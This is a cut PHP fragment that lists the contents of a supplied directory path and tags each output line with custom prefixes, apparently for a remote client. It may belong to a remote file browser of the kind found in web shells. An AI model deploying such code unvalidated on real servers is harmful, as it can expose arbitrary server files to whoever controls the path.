"; if(strpos($dir,"/<^:^:^>")) { $dir = str_replace("/<^:^:^>","",$dir); }else{ $dir = str_replace("<^:^:^>","",$dir); } GiveOut("\n\n&*c" . "Listing Directory: " . $dir . "\n\n"); if ($handle = opendir($dir)) { echo $dir . "\n\n\n\n"; GiveOut("&*cDirectory handle: $handle\n"); GiveOut("&*cFiles:\n"); GiveOut("&*cd" . $dir); /* This is the correct way to loop over the directory. */ while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if(is_dir($dir . "/" . $file)) { GiveOut("&*d" . $file . "" . $dir . "/" . $file . "\n"); }else{ GiveOut("&*f" . $file . "" . $dir . "/" . $file ."\n"); } } } closedir($handle); } GiveOut("\n\n&*c" . "End of Directory Listing for " . $dir); echo $ooo; exit; } ?>